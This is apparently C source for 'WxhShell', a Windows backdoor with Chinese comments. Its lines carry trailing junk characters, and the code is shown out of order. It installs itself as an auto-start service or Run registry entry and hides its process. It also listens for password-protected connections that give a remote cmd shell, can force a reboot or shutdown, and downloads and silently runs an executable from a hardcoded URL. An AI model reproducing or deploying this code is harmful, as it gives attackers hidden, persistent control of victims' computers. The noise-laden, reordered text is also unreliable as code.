    closesocket(wsh); lT(oL|{#P  
    ExitThread(0); ;3' .C~   
    } kT;S4B  
    break; -wjN"g<  
    } 5}`_x+$%(`  
  // 关机 r#XT3qp$d  
  case 'd': { ?M[ A7?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;VWAf;U;B  
    if(Boot(SHUTDOWN)) fFc/ d(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uw 47LP  
    else { St e=&^  
    closesocket(wsh); Y.*y9)#S6  
    ExitThread(0); >%wLAS",w  
    } tg{H9tU;  
    break; )oyIe)  
    } *8LMn   
  // 获取shell >Z1sb  n  
  case 's': { v8y1b%  
    CmdShell(wsh); L21VS ,#I  
    closesocket(wsh); 9=UkV\m)  
    ExitThread(0); b j'Xg  
    break; >uSy  
  } ';<0/U  
  // 退出 xXM{pd  
  case 'x': { utIX  %0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Nqu>6^-z0  
    CloseIt(wsh); }K&7%N4LZ  
    break; kXf'5p1  
    } 1PpyVf  
  // 离开 qzTuxo0B  
  case 'q': { )a-Du$kd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "sG=wjcw^  
    closesocket(wsh); E@ESl0a;  
    WSACleanup(); vvm0t"|\  
    exit(1); (;q;E\Ej q  
    break; ~-I +9F  
        } %HL*c =  
  } E160A5BTx  
  } \Cii1\R=  
nVi[  
  // 提示信息 (vTtDKp@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !TUrQ  
} ,gS;m &!'J  
  } m&?#;J|B$  
+u3=dj"[  
  return; Z /9>  
} CO`_^7o9(  
t]YC"%[S  
// shell模块句柄 sJDas,7>  
int CmdShell(SOCKET sock) v-PXZ'7~  
{ {|'E  
STARTUPINFO si; ZSG9t2qlv  
ZeroMemory(&si,sizeof(si)); 9<>wIl*T`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *FMMjz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (Tbw3ENz  
PROCESS_INFORMATION ProcessInfo; MgY0q?.S=  
char cmdline[]="cmd"; #*KNPh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lR(+tj)9uO  
  return 0; dUQ DO o  
} t{.8|d@  
H XmS|PX  
// 自身启动模式 FAj)OTI2S  
int StartFromService(void) WS`qVL]^&  
{ 'L8' '(eZ^  
typedef struct R.yC(r  
{ i{`;R  
  DWORD ExitStatus; fP. 6HF_p_  
  DWORD PebBaseAddress; zR{W?_cV  
  DWORD AffinityMask; xLC3>>P  
  DWORD BasePriority; jJ5W>Q1mK$  
  ULONG UniqueProcessId; K|Di1)7=/  
  ULONG InheritedFromUniqueProcessId; v+X)Qmzf~  
}   PROCESS_BASIC_INFORMATION; 6#HK'7ClL  
u4/kR  
PROCNTQSIP NtQueryInformationProcess; {o>j6RS\  
aL&n[   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o:_Xv.HRZo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W`u[h0\c  
fyByz=pl  
  HANDLE             hProcess; j!7{|EQFcl  
  PROCESS_BASIC_INFORMATION pbi;  t$De/Uq  
ayfFVTy1d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &8vCZN^  
  if(NULL == hInst ) return 0; LRNh@g4ei  
9;B0Mq py  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <x<"n t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;u>DNG|.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `nZ)>  
egq67S  
  if (!NtQueryInformationProcess) return 0; 1fZ(l"  
u)~C;f)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zc;|fHW~O  
  if(!hProcess) return 0; !K'}K>iT  
RH&~+5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U4b0*`o  
(w}H]LQ  
  CloseHandle(hProcess); P7{gfiB  
Uk6HQQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); orjj' +;X  
if(hProcess==NULL) return 0; LyAn&h}  
ce7CcHQ?B  
HMODULE hMod; ,.}]ut/Tm  
char procName[255]; w.\&9]P3~  
unsigned long cbNeeded; ~,i-8jl,  
`pGa~!vl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lx[oaCr  
OUhqM VX9C  
  CloseHandle(hProcess); Kq;8=xP[  
_Nqt21sL  
if(strstr(procName,"services")) return 1; // 以服务启动 /K. !sQ$  
r(RKwr:m  
  return 0; // 注册表启动 6I4oi@hZz  
} '2[albxSc  
@ < Q|5  
// 主模块 n6BQk 2l  
int StartWxhshell(LPSTR lpCmdLine) Y\$ySvZ0  
{ s=0BMPDgm  
  SOCKET wsl; XBp?w  
BOOL val=TRUE; j'MO(ev  
  int port=0; &3n~ %$#N  
  struct sockaddr_in door; !X;1}  
LdL/399<  
  if(wscfg.ws_autoins) Install(); Wwr;-Qa}g  
H*$jc\ dC  
port=atoi(lpCmdLine); =*r]) Vg^  
RsY3V=u  
if(port<=0) port=wscfg.ws_port; 'qOREN  
fmb} 2h  
  WSADATA data; "HDcmIXg&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @tZ&2RY1  
^h"`}[+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?'KL11@R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @NNq z  
  door.sin_family = AF_INET; 4UW_Do  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #0y)U;dA+w  
  door.sin_port = htons(port); \cUC9/ b  
+O*/"]h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +7=K/[9p  
closesocket(wsl); z <##g  
return 1; 'lEA)&d  
} fvdU`*|n)  
^$'z!+QRM  
  if(listen(wsl,2) == INVALID_SOCKET) { p IU&^yX>  
closesocket(wsl); .ZJRO>S  
return 1; 7aQc=^vaZ  
} +h r@#n4A  
  Wxhshell(wsl); no9;<]4  
  WSACleanup(); tX> G,hw  
9*{[buZX  
return 0; )~HUo9K9  
&I (#Wy3  
} hNH'XQxO  
rjp-Fw~1w  
// 以NT服务方式启动 \l]DQaOEe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tavpq.0O  
{ Cc%LztP>  
DWORD   status = 0; rU2%dkTa  
  DWORD   specificError = 0xfffffff; K"4>DaK2P  
Zf65`K3  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  D0% Ug>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (K)]qNH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Te<}*qvD  
  serviceStatus.dwWin32ExitCode     = 0; #]ypHVE  
  serviceStatus.dwServiceSpecificExitCode = 0; :n.f_v}6  
  serviceStatus.dwCheckPoint       = 0; j]aoR  
  serviceStatus.dwWaitHint       = 0; :uK? 4  
to=y#$_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a *ushB  
  if (hServiceStatusHandle==0) return; {O7X`'[  
q&W[j5E  
status = GetLastError(); "3)4vuX@;c  
  if (status!=NO_ERROR) k=4N.*#`y  
{ X bD4:i%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^`)) C;  
    serviceStatus.dwCheckPoint       = 0; PGLplXb#[S  
    serviceStatus.dwWaitHint       = 0; +KvU$9Ad>  
    serviceStatus.dwWin32ExitCode     = status; RHO(?8"_  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2E)wpgUc?e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s0k`p<q  
    return; n1VaLD  
  } CB/D4j;  
%Ntcvp)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N#DYJ-~*  
  serviceStatus.dwCheckPoint       = 0; &' Ne! o8  
  serviceStatus.dwWaitHint       = 0; b;cdIl!3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C0}IE,]  
} bdF.qO9  
-/g B|J  
// 处理NT服务事件,比如:启动、停止 CJJzCVj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &'}RrW-s  
{ 17G'jiY H  
switch(fdwControl) TTt#a6eJ  
{ 8\5 T3AF  
case SERVICE_CONTROL_STOP: yl1gx  
  serviceStatus.dwWin32ExitCode = 0; C86J IC"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Dm-zMCf}Q  
  serviceStatus.dwCheckPoint   = 0; I/L_@X<*r  
  serviceStatus.dwWaitHint     = 0; 7w/4QiI  
  { pnbIiyV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fDvl/|62{  
  } Db1pW=66:  
  return; Xt@Z}B))pu  
case SERVICE_CONTROL_PAUSE: ?Vf o+a,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N =QfP  
  break; D IzH`|Y  
case SERVICE_CONTROL_CONTINUE: b+&% 1C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |qmu _x\  
  break; A#95&kJpy  
case SERVICE_CONTROL_INTERROGATE: i*NH'o/  
  break; h9Y%{v  
}; $l|qk  z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HLZ;8/|48m  
} U~j ^I^  
o\3L}Y  
// 标准应用程序主函数 oWC@w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I$0)Px%z  
{ TG+VEL |T  
Nd cg/d  
// 获取操作系统版本 :X]itTrGs  
OsIsNt=GetOsVer(); kMt 8/E`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); < VSA  
jhg;%+KB  
  // 从命令行安装 ?)1{)Erf8x  
  if(strpbrk(lpCmdLine,"iI")) Install(); U}PiY"S<  
_G.>+!"2/  
  // 下载执行文件 UM6(s@$  
if(wscfg.ws_downexe) { "G@g" gP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mM-8+H?~b  
  WinExec(wscfg.ws_filenam,SW_HIDE); ktdW`R\+  
} 0Pe>Es|^A#  
W>p-u6u%E|  
if(!OsIsNt) { /O^RF}  
// 如果时win9x,隐藏进程并且设置为注册表启动 thvYL.U :  
HideProc(); {'2@(^3  
StartWxhshell(lpCmdLine); o17ekML  
} /gu%:vq  
else [>1OJY.S}T  
  if(StartFromService()) 2U:H545]]  
  // 以服务方式启动 p-/|mL  
  StartServiceCtrlDispatcher(DispatchTable); lAJxr8 .  
else (3 #Cl 1]f  
  // 普通方式启动 4W)B'+ZK8  
  StartWxhshell(lpCmdLine); K?zH35f$  
)l[M Q4vWW  
return 0; ;Mpy#yIU.  
} Qe5U<3{JZ  
j"|=C$Kn/  
Tp_L%F  
KFvQ  
=========================================== %d(^d  
.%Ta]!0  
X~<("  
*EZHJt9  
e*;c(3>(  
ulkJR-""&  
" (Xq)py9  
)Ib<F 7v  
#include <stdio.h> *i- _6s  
#include <string.h> cg m~>  
#include <windows.h> L.1_(3NG  
#include <winsock2.h> ]b%Hy  
#include <winsvc.h> Wr3mQU  
#include <urlmon.h> [I$ BmGQ  
u*tN)f3  
#pragma comment (lib, "Ws2_32.lib") <p\6AnkMr  
#pragma comment (lib, "urlmon.lib") YJ;j x0  
Eg2[k.{P  
#define MAX_USER   100 // 最大客户端连接数 MF'$~gxo  
#define BUF_SOCK   200 // sock buffer t $xY #:  
#define KEY_BUFF   255 // 输入 buffer ghX|3lI\q  
krC{ed  
#define REBOOT     0   // 重启 Y<Xz wro0  
#define SHUTDOWN   1   // 关机 G_k~X"  
W81E!RyP`  
#define DEF_PORT   5000 // 监听端口 OZTPOz.  
]&i.b+^  
#define REG_LEN     16   // 注册表键长度 2GWMlI  
#define SVC_LEN     80   // NT服务名长度 -"h;uDz|z  
!\"5rNy  
// 从dll定义API 4x;/HEb7?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HaYE9/xS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2#<xAR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %d>=+Ds[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a(9L,v#?  
:)_~w4&  
// wxhshell配置信息 l*kPOyB  
struct WSCFG { LX@/RAd vz  
  int ws_port;         // 监听端口 '`XX "_k3  
  char ws_passstr[REG_LEN]; // 口令 PG_0\'X)/w  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9v }G{mQ#  
  char ws_regname[REG_LEN]; // 注册表键名 u\LFlX0sO  
  char ws_svcname[REG_LEN]; // 服务名 q|v(Edt|_[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]"1`+q6i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0LfU=X0#7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &znQ;NH#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KA){''>8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E !a|Xp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \yd s5g!:  
yfx7{naKC`  
}; e|p$d:#!  
qZh1`\G  
// default Wxhshell configuration ;IVDr:  
struct WSCFG wscfg={DEF_PORT, DVK)2La  
    "xuhuanlingzhe", C#t'Y*  
    1, PB/IFsJ  
    "Wxhshell", Qum9A   
    "Wxhshell", :L1dyVA{  
            "WxhShell Service", HVP"A3}KC  
    "Wrsky Windows CmdShell Service", BvR-K\rx  
    "Please Input Your Password: ", |ZCn`9hvn  
  1, i 2sN3it  
  "http://www.wrsky.com/wxhshell.exe", -Y*bSP)\  
  "Wxhshell.exe" \L(*]:EP  
    }; #DN0T' B  
9uer(}WKT  
// 消息定义模块 <HJl2p N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "=+ 7-`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gx&Tt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #%D_Y33;  
char *msg_ws_ext="\n\rExit."; t: IN,Kl4  
char *msg_ws_end="\n\rQuit."; MH{GR)ng:9  
char *msg_ws_boot="\n\rReboot..."; 05spovO/'  
char *msg_ws_poff="\n\rShutdown..."; z%e8K(  
char *msg_ws_down="\n\rSave to "; K,w"_T  
;w%*M}`5  
char *msg_ws_err="\n\rErr!"; VH(S=G5Yb  
char *msg_ws_ok="\n\rOK!";  -Y H<  
B7]C]=${m  
char ExeFile[MAX_PATH]; ^B@Wp  
int nUser = 0; rDQ!zlg>l  
HANDLE handles[MAX_USER]; 3nu^l'WQ  
int OsIsNt; ,WG<hgg-U)  
:^fcC[$K  
SERVICE_STATUS       serviceStatus; sz)oZPu|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ']>Mp#j  
E6,4RuCK  
// 函数声明 ObE,$_ k  
int Install(void); ;+tpvnV;]  
int Uninstall(void); ~,BIf+ \XF  
int DownloadFile(char *sURL, SOCKET wsh); :sP!p`dl  
int Boot(int flag); 3Ezy %7  
void HideProc(void); :LQ5 u[g$\  
int GetOsVer(void); h~(D@/tB  
int Wxhshell(SOCKET wsl); !O#dV1wAa  
void TalkWithClient(void *cs); )DeA} e ?F  
int CmdShell(SOCKET sock); H.W E6  
int StartFromService(void); #Ap;_XcKw  
int StartWxhshell(LPSTR lpCmdLine); 5i-Rglo  
qpsv i.S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L9@&2?k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PIWux {  
IR-dU<<9O  
// 数据结构和表定义 \MmI`$  
SERVICE_TABLE_ENTRY DispatchTable[] = w 1Ec_y{  
{ >^Yq|~[  
{wscfg.ws_svcname, NTServiceMain}, sk 2-5S  
{NULL, NULL} h^*4}GU  
}; 2l F>1vH  
2Y>~k{AN%  
// 自我安装 ~O]]N;>72"  
int Install(void) !Mu|mz=  
{ \|Ul]1pO8  
  char svExeFile[MAX_PATH]; PmR~c,  
  HKEY key; \T\b NbPn  
  strcpy(svExeFile,ExeFile); 2{Chu85   
IZm(`b;t^  
// 如果是win9x系统,修改注册表设为自启动 (lGaPMEU}  
if(!OsIsNt) { N,f4*PQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A^RR@D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :UbM !  
  RegCloseKey(key); #!$GH_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `c69 ?/5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K^3co  
  RegCloseKey(key); ^<:sdv>Y5  
  return 0; GV^i`r^"  
    } eh,~F   
  } H> '>3]G  
} Hzhceeh_+  
else { r 3M1e+'fc  
DwV4o^J:l  
// 如果是NT以上系统,安装为系统服务 +4,2<\fX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5hbJOo0BZ  
if (schSCManager!=0) h8Xg`C\  
{ ) gzR=9l  
  SC_HANDLE schService = CreateService e{A9r@p!  
  ( +MB!B9M@  
  schSCManager, b-Z4 Jo G  
  wscfg.ws_svcname, wBInq~K_  
  wscfg.ws_svcdisp, -PnyZ2'Z  
  SERVICE_ALL_ACCESS, Wfz\ `y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gxT4PQDy  
  SERVICE_AUTO_START, $&=p+  
  SERVICE_ERROR_NORMAL, /%I7Vc  
  svExeFile, N~?{UOZd  
  NULL, qA:#iJ8w  
  NULL, c=[O `/f  
  NULL, O$g_@B0E1  
  NULL, ZKz,|+X0G  
  NULL Cv*x2KF G  
  ); 2iU7 0(H  
  if (schService!=0) %+F"QI1~0  
  { ~fa(=.h  
  CloseServiceHandle(schService); N 6T{  
  CloseServiceHandle(schSCManager); 4_D@ST%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rFZrYm  
  strcat(svExeFile,wscfg.ws_svcname); `$YP<CJeq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jr /lk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $v`afd y  
  RegCloseKey(key); O Lc}_  
  return 0; Ka|eFprS  
    } zi'Jr)n  
  } S/`%Q2za4  
  CloseServiceHandle(schSCManager); Ln.ZVMZ;  
} Xwa_3Xm*Le  
} Qe'g3z>  
 x-'~Bu  
return 1; XG@`ZJhU6  
} J@ L9p46,  
S|zW^|YU  
// 自我卸载 Z Dhx5SL&  
int Uninstall(void) !~ZP{IXyo  
{ m,R Dr  
  HKEY key; jDRe)bo4  
;c -3g]  
if(!OsIsNt) { ;&b%Se@#p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u0RS)&  
  RegDeleteValue(key,wscfg.ws_regname); %y<ejM  
  RegCloseKey(key); g2R@`./S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ya -i^i\  
  RegDeleteValue(key,wscfg.ws_regname); !'f3>W\   
  RegCloseKey(key); /:\3 \{?0m  
  return 0; P(SZ68  
  } "{E q hR~  
} 7$k8%lI;>  
} Pz_NDI  
else {  Q2p)7G  
I<=Df5M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8seBT ;S  
if (schSCManager!=0) rxO2js  
{ m9md|yS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +<.\5+  
  if (schService!=0) -#29xRPk  
  { w# * 1/N  
  if(DeleteService(schService)!=0) { %@R~DBS  
  CloseServiceHandle(schService); e#/kNHl  
  CloseServiceHandle(schSCManager); *8ExRQZ$  
  return 0; `*\{.;,]#  
  } .9|u QEL  
  CloseServiceHandle(schService); 3_`szl-  
  } l12$l<x&M  
  CloseServiceHandle(schSCManager); (X6sSO  
} ~JuKV&&}K  
} .1QgK  
3|rn] yZ  
return 1; (vJ2z =z  
} R[1BfZ6s  
>?YNW   
// 从指定url下载文件 {6d b{ ay_  
int DownloadFile(char *sURL, SOCKET wsh) -Y:ROoFOZ  
{ DJQglt}~  
  HRESULT hr; 8@M'[jT  
char seps[]= "/"; N8!TZ~1$  
char *token; S^f:`9ab9  
char *file; ]]cYLaq(  
char myURL[MAX_PATH]; eeUp 1g  
char myFILE[MAX_PATH]; ze'.Y%]  
0ZC,BS`D^  
strcpy(myURL,sURL);  uu%?K@Qq  
  token=strtok(myURL,seps); \NXQ  
  while(token!=NULL) *C,N'M<u  
  { /.=r>a }l  
    file=token; 2 [!Mx&^  
  token=strtok(NULL,seps); P` '$  
  } OK`Z@X_,bW  
D22Lu ;E  
GetCurrentDirectory(MAX_PATH,myFILE); q2_`v5t  
strcat(myFILE, "\\"); t]^_ l$  
strcat(myFILE, file); ,fnsE^}.U  
  send(wsh,myFILE,strlen(myFILE),0); c-5jYwV  
send(wsh,"...",3,0); E/za @W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1]\TI7/ n  
  if(hr==S_OK) .dI)R40L/\  
return 0; (Q-I8Y8l8  
else qi+&|80T.  
return 1; Cj&$%sO1  
vv 7+ >%  
} hteOh#0{   
9b6!CNe!  
// 系统电源模块 =Mhg  
int Boot(int flag) $`vkw(;t)1  
{ y,<$X.>QO|  
  HANDLE hToken; yty` 2$O  
  TOKEN_PRIVILEGES tkp; =J@`0H"  
4R+P  
  if(OsIsNt) { 9B)lGLL}q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xaL#MIR"u"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x.EgTvA&d  
    tkp.PrivilegeCount = 1; h)E|?b_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]0D9N"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u fw cF*  
if(flag==REBOOT) { W3LP ~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D{AFL.r{  
  return 0; 4YJ=q% G  
} z/1hqxHl  
else { ma9ADFFT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q[s 2}Z!N;  
  return 0; +$(0w35V5  
} |5 xzl  
  } )o8g=7Jm  
  else { " >6&+^BN'  
if(flag==REBOOT) { *?8RXer  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `)[dVfxA  
  return 0; abZdGnc  
} (5;D7zdA  
else { /R%^rz'w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V:\]cGA{  
  return 0; 8Inx/>eOI  
} WOO%YU =  
} 5 R*lVUix  
KzkgWMM  
return 1; g2'x#%ET  
} e~Hr(O+;e6  
GOW"o"S  
// win9x进程隐藏模块 p`GWhI?  
void HideProc(void) xeB4r/6  
{ Igjr~@ #  
Ky&KF0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uu>lDvR*  
  if ( hKernel != NULL ) (/fT]6(  
  {  E&%jeR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \Hs|$   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5OB]x?4]  
    FreeLibrary(hKernel); RqGVp?   
  } b5Q8pWZg,  
+Pw,Nl\KD  
return; hNO )~rt  
}  N ?+eWY  
#` +]{4hR  
// 获取操作系统版本 bm}+}CJ@#0  
int GetOsVer(void) H'h#wV`(  
{ Q>IH``1*e  
  OSVERSIONINFO winfo; NV#')+Ba  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <9\,QR)  
  GetVersionEx(&winfo); 01nsdZ-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -]QguZE  
  return 1; C<t RU5|  
  else Xb+3Xn0}&8  
  return 0; (zmNa}-  
} {{E jMBg{  
cDO:'-  
// 客户端句柄模块 M;qb7Mu  
int Wxhshell(SOCKET wsl) x(vai1CrdH  
{ ! o^Ic`FhS  
  SOCKET wsh; 0l1.O2 -  
  struct sockaddr_in client; u0 BMyH  
  DWORD myID; -,/3"}<^78  
9>{t}I d  
  while(nUser<MAX_USER) &Y=.D:z<  
{ 3`rIV*&_{  
  int nSize=sizeof(client); eKJ:?Lxv;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M,JA;a, _  
  if(wsh==INVALID_SOCKET) return 1; !a4cjc(  
!u%9;>T7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Oc^m_U8>^  
if(handles[nUser]==0) 6oA~J]<  
  closesocket(wsh); !3HsI| $<G  
else 7(@(Hm  
  nUser++; &<=e_0zT  
  } `A"Q3sf%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |1i]L@&  
QmHwn)Ly  
  return 0; 'f6PjI  
} /B=l,:TnJ  
(h|ch#  
// 关闭 socket =Pj@g/25u  
void CloseIt(SOCKET wsh) s@ z{dmL  
{ Ym:{Mm=ud  
closesocket(wsh); '&)D>@g  
nUser--; QnP{$rT  
ExitThread(0); I)rGOda{  
} 3XGB+$]C  
W[GQ[h  
// 客户端请求句柄 _^b@>C>O  
void TalkWithClient(void *cs) )"F5lOA6  
{ K{N%kk%F  
pEkOSG  
  SOCKET wsh=(SOCKET)cs; E+Im~=m$  
  char pwd[SVC_LEN]; '5V^}/  
  char cmd[KEY_BUFF]; w`0)x5 TGR  
char chr[1]; ]DU61Z"v?b  
int i,j; S{ey@ X(  
)ZN(2z  
  while (nUser < MAX_USER) { 'jN/~I  
+/w(K,  
if(wscfg.ws_passstr) { $^K]&Mft  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p6 <}3m$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M`bL5J;  
  //ZeroMemory(pwd,KEY_BUFF); L=,Y1nO:p  
      i=0; &:q[-K@!  
  while(i<SVC_LEN) { \.kTe<.:_  
9='=-;@/5  
  // 设置超时 p; F2z;#  
  fd_set FdRead; AX8gij  
  struct timeval TimeOut; >"O1`xdG  
  FD_ZERO(&FdRead); E;xMPK$  
  FD_SET(wsh,&FdRead); zfirb  
  TimeOut.tv_sec=8; /<6ywLD  
  TimeOut.tv_usec=0; \ U Ax(;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6{ C Fe|XN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [pr 9 $Jr  
&7fY_~)B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rQn{L{  
  pwd=chr[0]; "NJ ,0A  
  if(chr[0]==0xd || chr[0]==0xa) { 9ptZVv=O  
  pwd=0; )F +nSV;  
  break; 6EZ1YG}  
  } yV8-  
  i++; D>ojW|@}  
    } D9,e3.?p  
7F=2t_2O  
  // 如果是非法用户,关闭 socket w[e0wh`.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >/8ru*Oc  
} I'xC+nL@  
R04.K !  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c1PViko,>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q6eN+i2 ;  
y{YXf! AS  
while(1) { }Z"28?  
hTDV!B-_(  
  ZeroMemory(cmd,KEY_BUFF); m**0rpA  
gH5CB%)  
      // 自动支持客户端 telnet标准   vJ~4D*(]l  
  j=0; s c5\( b  
  while(j<KEY_BUFF) { Sy4 mZ}:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a5X`jo  
  cmd[j]=chr[0]; W^003*m~~K  
  if(chr[0]==0xa || chr[0]==0xd) { k{?!O\yY  
  cmd[j]=0; p}96uaC1  
  break; 1!X1wCT  
  } .4I w=T_  
  j++; 2]2{&bu  
    } W)|c[Q\  
t3pZjdLJd  
  // 下载文件 HE*7\"9  
